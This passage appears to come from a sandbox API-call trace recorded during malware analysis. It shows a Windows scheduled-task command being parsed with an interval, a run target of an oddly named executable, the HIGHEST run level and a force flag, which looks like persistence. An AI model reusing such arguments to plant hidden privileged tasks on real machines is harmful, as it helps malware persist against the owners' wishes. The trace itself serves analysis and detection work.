_Buffer="|delete|") returned 8 [0158.219] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|mo|") returned 4 [0158.219] lstrlenW (lpString="|delete|") returned 8 [0158.219] lstrlenW (lpString="|mo|") returned 4 [0158.219] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0158.219] SetLastError (dwErrCode=0x490) [0158.219] lstrlenW (lpString="query") returned 5 [0158.219] lstrlenW (lpString="query") returned 5 [0158.219] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.219] lstrlenW (lpString="mo") returned 2 [0158.219] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.219] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|query|") returned 7 [0158.219] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|mo|") returned 4 [0158.219] lstrlenW (lpString="|query|") returned 7 [0158.219] lstrlenW (lpString="|mo|") returned 4 [0158.219] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0158.219] SetLastError (dwErrCode=0x490) [0158.219] lstrlenW (lpString="change") returned 6 [0158.219] lstrlenW (lpString="change") returned 6 [0158.219] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.220] lstrlenW (lpString="mo") returned 2 [0158.220] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.220] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|change|") returned 8 [0158.220] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|mo|") returned 4 [0158.220] lstrlenW (lpString="|change|") returned 8 [0158.220] lstrlenW (lpString="|mo|") returned 4 [0158.220] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0158.220] SetLastError (dwErrCode=0x490) [0158.220] lstrlenW (lpString="run") returned 3 [0158.220] lstrlenW (lpString="run") returned 3 [0158.220] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.220] lstrlenW (lpString="mo") returned 2 [0158.220] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.220] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|run|") returned 5 [0158.220] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|mo|") returned 4 [0158.220] lstrlenW (lpString="|run|") returned 5 [0158.220] lstrlenW (lpString="|mo|") returned 4 [0158.220] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0158.220] SetLastError (dwErrCode=0x490) [0158.220] lstrlenW (lpString="end") returned 3 [0158.220] lstrlenW (lpString="end") returned 3 [0158.220] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.220] lstrlenW (lpString="mo") returned 2 [0158.220] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.220] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|end|") returned 5 [0158.221] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|mo|") returned 4 [0158.221] lstrlenW (lpString="|end|") returned 5 [0158.221] lstrlenW (lpString="|mo|") returned 4 [0158.221] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0158.221] SetLastError (dwErrCode=0x490) [0158.221] lstrlenW (lpString="showsid") returned 7 [0158.221] lstrlenW (lpString="showsid") returned 7 [0158.221] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.221] lstrlenW (lpString="mo") returned 2 [0158.221] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.221] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|showsid|") returned 9 [0158.221] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|mo|") returned 4 [0158.221] lstrlenW (lpString="|showsid|") returned 9 [0158.221] lstrlenW (lpString="|mo|") returned 4 [0158.221] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0158.221] SetLastError (dwErrCode=0x490) [0158.221] SetLastError (dwErrCode=0x490) [0158.221] SetLastError (dwErrCode=0x0) [0158.221] lstrlenW (lpString="/mo") returned 3 [0158.221] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0158.221] SetLastError (dwErrCode=0x490) [0158.221] SetLastError (dwErrCode=0x0) [0158.221] lstrlenW (lpString="/mo") returned 3 [0158.221] GetProcessHeap () returned 0x2e0000 [0158.221] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x8) returned 0x2fc2d0 [0158.221] GetProcessHeap () returned 0x2e0000 [0158.221] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x20) returned 0x2fcd00 [0158.221] SetLastError (dwErrCode=0x0) [0158.221] SetLastError (dwErrCode=0x0) [0158.222] lstrlenW (lpString="6") returned 1 [0158.222] SetLastError (dwErrCode=0x490) [0158.222] SetLastError (dwErrCode=0x0) [0158.222] lstrlenW (lpString="6") returned 1 [0158.222] StrChrIW (lpStart="6", wMatch=0x3a) returned 0x0 [0158.222] SetLastError (dwErrCode=0x490) [0158.222] SetLastError (dwErrCode=0x0) [0158.222] lstrlenW (lpString="6") returned 1 [0158.222] GetProcessHeap () returned 0x2e0000 [0158.222] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x4) returned 0x2fc2f0 [0158.222] GetProcessHeap () returned 0x2e0000 [0158.222] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x20) returned 0x2fcd30 [0158.222] SetLastError (dwErrCode=0x0) [0158.222] SetLastError (dwErrCode=0x0) [0158.222] lstrlenW (lpString="/tr") returned 3 [0158.222] lstrlenW (lpString="-/") returned 2 [0158.222] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0158.222] lstrlenW (lpString="?") returned 1 [0158.222] lstrlenW (lpString="?") returned 1 [0158.222] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.222] lstrlenW (lpString="tr") returned 2 [0158.222] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.222] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|?|") returned 3 [0158.222] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|tr|") returned 4 [0158.222] lstrlenW (lpString="|?|") returned 3 [0158.222] lstrlenW (lpString="|tr|") returned 4 [0158.222] SetLastError (dwErrCode=0x490) [0158.222] lstrlenW (lpString="create") returned 6 [0158.223] lstrlenW (lpString="create") returned 6 [0158.223] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.223] lstrlenW (lpString="tr") returned 2 [0158.223] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.223] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|create|") returned 8 [0158.223] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|tr|") returned 4 [0158.223] lstrlenW (lpString="|create|") returned 8 [0158.223] lstrlenW (lpString="|tr|") returned 4 [0158.223] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0158.300] SetLastError (dwErrCode=0x490) [0158.300] lstrlenW (lpString="delete") returned 6 [0158.300] lstrlenW (lpString="delete") returned 6 [0158.300] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.300] lstrlenW (lpString="tr") returned 2 [0158.300] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.300] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|delete|") returned 8 [0158.300] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|tr|") returned 4 [0158.300] lstrlenW (lpString="|delete|") returned 8 [0158.300] lstrlenW (lpString="|tr|") returned 4 [0158.300] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0158.300] SetLastError (dwErrCode=0x490) [0158.300] lstrlenW (lpString="query") returned 5 [0158.300] lstrlenW (lpString="query") returned 5 [0158.300] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.300] lstrlenW (lpString="tr") returned 2 [0158.300] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.301] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|query|") returned 7 [0158.301] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|tr|") returned 4 [0158.301] lstrlenW (lpString="|query|") returned 7 [0158.301] lstrlenW (lpString="|tr|") returned 4 [0158.301] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0158.301] SetLastError (dwErrCode=0x490) [0158.301] lstrlenW (lpString="change") returned 6 [0158.301] lstrlenW (lpString="change") returned 6 [0158.301] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.301] lstrlenW (lpString="tr") returned 2 [0158.301] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.301] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|change|") returned 8 [0158.301] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|tr|") returned 4 [0158.301] lstrlenW (lpString="|change|") returned 8 [0158.301] lstrlenW (lpString="|tr|") returned 4 [0158.301] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0158.301] SetLastError (dwErrCode=0x490) [0158.301] lstrlenW (lpString="run") returned 3 [0158.301] lstrlenW (lpString="run") returned 3 [0158.301] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.301] lstrlenW (lpString="tr") returned 2 [0158.301] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.301] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|run|") returned 5 [0158.302] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|tr|") returned 4 [0158.302] lstrlenW (lpString="|run|") returned 5 [0158.302] lstrlenW (lpString="|tr|") returned 4 [0158.302] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0158.302] SetLastError (dwErrCode=0x490) [0158.302] lstrlenW (lpString="end") returned 3 [0158.302] lstrlenW (lpString="end") returned 3 [0158.302] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.302] lstrlenW (lpString="tr") returned 2 [0158.302] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.302] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|end|") returned 5 [0158.302] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|tr|") returned 4 [0158.302] lstrlenW (lpString="|end|") returned 5 [0158.302] lstrlenW (lpString="|tr|") returned 4 [0158.302] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0158.302] SetLastError (dwErrCode=0x490) [0158.302] lstrlenW (lpString="showsid") returned 7 [0158.302] lstrlenW (lpString="showsid") returned 7 [0158.302] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.303] lstrlenW (lpString="tr") returned 2 [0158.303] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.303] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|showsid|") returned 9 [0158.303] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|tr|") returned 4 [0158.303] lstrlenW (lpString="|showsid|") returned 9 [0158.303] lstrlenW (lpString="|tr|") returned 4 [0158.303] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0158.303] SetLastError (dwErrCode=0x490) [0158.303] SetLastError (dwErrCode=0x490) [0158.303] SetLastError (dwErrCode=0x0) [0158.303] lstrlenW (lpString="/tr") returned 3 [0158.303] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0158.303] SetLastError (dwErrCode=0x490) [0158.303] SetLastError (dwErrCode=0x0) [0158.303] lstrlenW (lpString="/tr") returned 3 [0158.303] GetProcessHeap () returned 0x2e0000 [0158.303] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x8) returned 0x2fc310 [0158.303] GetProcessHeap () returned 0x2e0000 [0158.303] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x20) returned 0x2fcd60 [0158.303] SetLastError (dwErrCode=0x0) [0158.303] SetLastError (dwErrCode=0x0) [0158.303] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\but inside save.exe'") returned 49 [0158.303] lstrlenW (lpString="-/") returned 2 [0158.303] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0158.304] SetLastError (dwErrCode=0x490) [0158.304] SetLastError (dwErrCode=0x490) [0158.304] SetLastError (dwErrCode=0x0) [0158.304] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\but inside save.exe'") returned 49 [0158.304] StrChrIW (lpStart="'C:\\comproviderRuntimecommon\\but inside save.exe'", wMatch=0x3a) returned=":\\comproviderRuntimecommon\\but inside save.exe'" [0158.304] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\but inside save.exe'") returned 49 [0158.304] GetProcessHeap () returned 0x2e0000 [0158.304] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x18) returned 0x2fc330 [0158.304] _memicmp (_Buf1=0x2fc330, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.304] GetProcessHeap () returned 0x2e0000 [0158.304] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0xe) returned 0x2fc350 [0158.304] GetProcessHeap () returned 0x2e0000 [0158.304] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x18) returned 0x2fc370 [0158.304] _memicmp (_Buf1=0x2fc370, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.304] GetProcessHeap () returned 0x2e0000 [0158.304] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x66) returned 0x2fc390 [0158.304] SetLastError (dwErrCode=0x7a) [0158.304] SetLastError (dwErrCode=0x0) [0158.304] SetLastError (dwErrCode=0x0) [0158.304] lstrlenW (lpString="'C") returned 2 [0158.304] lstrlenW (lpString="-/") returned 2 [0158.304] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0158.304] SetLastError (dwErrCode=0x490) [0158.304] SetLastError (dwErrCode=0x490) [0158.304] SetLastError (dwErrCode=0x0) [0158.304] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\but inside save.exe'") returned 49 [0158.304] GetProcessHeap () returned 0x2e0000 [0158.304] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x64) returned 0x2fc400 [0158.305] GetProcessHeap () returned 0x2e0000 [0158.305] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x20) returned 0x2fcd90 [0158.305] SetLastError (dwErrCode=0x0) [0158.305] SetLastError (dwErrCode=0x0) [0158.305] lstrlenW (lpString="/rl") returned 3 [0158.305] lstrlenW (lpString="-/") returned 2 [0158.305] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0158.305] lstrlenW (lpString="?") returned 1 [0158.305] lstrlenW (lpString="?") returned 1 [0158.305] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.305] lstrlenW (lpString="rl") returned 2 [0158.305] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.305] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|?|") returned 3 [0158.305] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|rl|") returned 4 [0158.305] lstrlenW (lpString="|?|") returned 3 [0158.305] lstrlenW (lpString="|rl|") returned 4 [0158.305] SetLastError (dwErrCode=0x490) [0158.305] lstrlenW (lpString="create") returned 6 [0158.305] lstrlenW (lpString="create") returned 6 [0158.305] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.305] lstrlenW (lpString="rl") returned 2 [0158.305] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.305] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|create|") returned 8 [0158.305] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|rl|") returned 4 [0158.305] lstrlenW (lpString="|create|") returned 8 [0158.305] lstrlenW (lpString="|rl|") returned 4 [0158.305] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0158.306] SetLastError (dwErrCode=0x490) [0158.306] lstrlenW (lpString="delete") returned 6 [0158.306] lstrlenW (lpString="delete") returned 6 [0158.306] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.306] lstrlenW (lpString="rl") returned 2 [0158.306] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.306] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|delete|") returned 8 [0158.306] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|rl|") returned 4 [0158.306] lstrlenW (lpString="|delete|") returned 8 [0158.306] lstrlenW (lpString="|rl|") returned 4 [0158.306] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0158.306] SetLastError (dwErrCode=0x490) [0158.306] lstrlenW (lpString="query") returned 5 [0158.306] lstrlenW (lpString="query") returned 5 [0158.306] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.306] lstrlenW (lpString="rl") returned 2 [0158.306] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.306] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|query|") returned 7 [0158.306] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|rl|") returned 4 [0158.306] lstrlenW (lpString="|query|") returned 7 [0158.306] lstrlenW (lpString="|rl|") returned 4 [0158.306] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0158.306] SetLastError (dwErrCode=0x490) [0158.306] lstrlenW (lpString="change") returned 6 [0158.306] lstrlenW (lpString="change") returned 6 [0158.306] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.307] lstrlenW (lpString="rl") returned 2 [0158.307] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.307] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|change|") returned 8 [0158.307] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|rl|") returned 4 [0158.307] lstrlenW (lpString="|change|") returned 8 [0158.307] lstrlenW (lpString="|rl|") returned 4 [0158.307] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0158.307] SetLastError (dwErrCode=0x490) [0158.307] lstrlenW (lpString="run") returned 3 [0158.307] lstrlenW (lpString="run") returned 3 [0158.307] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.307] lstrlenW (lpString="rl") returned 2 [0158.307] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.307] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|run|") returned 5 [0158.307] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|rl|") returned 4 [0158.307] lstrlenW (lpString="|run|") returned 5 [0158.307] lstrlenW (lpString="|rl|") returned 4 [0158.307] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0158.307] SetLastError (dwErrCode=0x490) [0158.307] lstrlenW (lpString="end") returned 3 [0158.307] lstrlenW (lpString="end") returned 3 [0158.307] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.307] lstrlenW (lpString="rl") returned 2 [0158.307] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.308] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|end|") returned 5 [0158.308] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|rl|") returned 4 [0158.308] lstrlenW (lpString="|end|") returned 5 [0158.308] lstrlenW (lpString="|rl|") returned 4 [0158.308] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0158.308] SetLastError (dwErrCode=0x490) [0158.308] lstrlenW (lpString="showsid") returned 7 [0158.308] lstrlenW (lpString="showsid") returned 7 [0158.308] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.308] lstrlenW (lpString="rl") returned 2 [0158.308] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.308] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|showsid|") returned 9 [0158.308] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|rl|") returned 4 [0158.308] lstrlenW (lpString="|showsid|") returned 9 [0158.308] lstrlenW (lpString="|rl|") returned 4 [0158.308] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0158.308] SetLastError (dwErrCode=0x490) [0158.308] SetLastError (dwErrCode=0x490) [0158.308] SetLastError (dwErrCode=0x0) [0158.308] lstrlenW (lpString="/rl") returned 3 [0158.308] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0158.308] SetLastError (dwErrCode=0x490) [0158.308] SetLastError (dwErrCode=0x0) [0158.308] lstrlenW (lpString="/rl") returned 3 [0158.308] GetProcessHeap () returned 0x2e0000 [0158.308] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x8) returned 0x2fc470 [0158.309] GetProcessHeap () returned 0x2e0000 [0158.309] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x20) returned 0x2fcdc0 [0158.309] SetLastError (dwErrCode=0x0) [0158.309] SetLastError (dwErrCode=0x0) [0158.309] lstrlenW (lpString="HIGHEST") returned 7 [0158.309] lstrlenW (lpString="-/") returned 2 [0158.309] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0158.309] SetLastError (dwErrCode=0x490) [0158.309] SetLastError (dwErrCode=0x490) [0158.309] SetLastError (dwErrCode=0x0) [0158.309] lstrlenW (lpString="HIGHEST") returned 7 [0158.309] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0158.309] SetLastError (dwErrCode=0x490) [0158.309] SetLastError (dwErrCode=0x0) [0158.309] lstrlenW (lpString="HIGHEST") returned 7 [0158.309] GetProcessHeap () returned 0x2e0000 [0158.309] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x10) returned 0x2fd500 [0158.309] GetProcessHeap () returned 0x2e0000 [0158.309] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x20) returned 0x2fcdf0 [0158.309] SetLastError (dwErrCode=0x0) [0158.309] SetLastError (dwErrCode=0x0) [0158.309] lstrlenW (lpString="/f") returned 2 [0158.309] lstrlenW (lpString="-/") returned 2 [0158.309] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0158.309] lstrlenW (lpString="?") returned 1 [0158.309] lstrlenW (lpString="?") returned 1 [0158.309] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.309] lstrlenW (lpString="f") returned 1 [0158.310] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.310] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|?|") returned 3 [0158.310] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|f|") returned 3 [0158.310] lstrlenW (lpString="|?|") returned 3 [0158.310] lstrlenW (lpString="|f|") returned 3 [0158.310] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0158.310] SetLastError (dwErrCode=0x490) [0158.310] lstrlenW (lpString="create") returned 6 [0158.310] lstrlenW (lpString="create") returned 6 [0158.310] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.310] lstrlenW (lpString="f") returned 1 [0158.310] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.310] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|create|") returned 8 [0158.310] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|f|") returned 3 [0158.310] lstrlenW (lpString="|create|") returned 8 [0158.310] lstrlenW (lpString="|f|") returned 3 [0158.310] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0158.310] SetLastError (dwErrCode=0x490) [0158.310] lstrlenW (lpString="delete") returned 6 [0158.310] lstrlenW (lpString="delete") returned 6 [0158.310] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.310] lstrlenW (lpString="f") returned 1 [0158.310] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.310] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|delete|") returned 8 [0158.311] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|f|") returned 3 [0158.311] lstrlenW (lpString="|delete|") returned 8 [0158.311] lstrlenW (lpString="|f|") returned 3 [0158.311] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0158.311] SetLastError (dwErrCode=0x490) [0158.311] lstrlenW (lpString="query") returned 5 [0158.311] lstrlenW (lpString="query") returned 5 [0158.311] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.311] lstrlenW (lpString="f") returned 1 [0158.311] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, 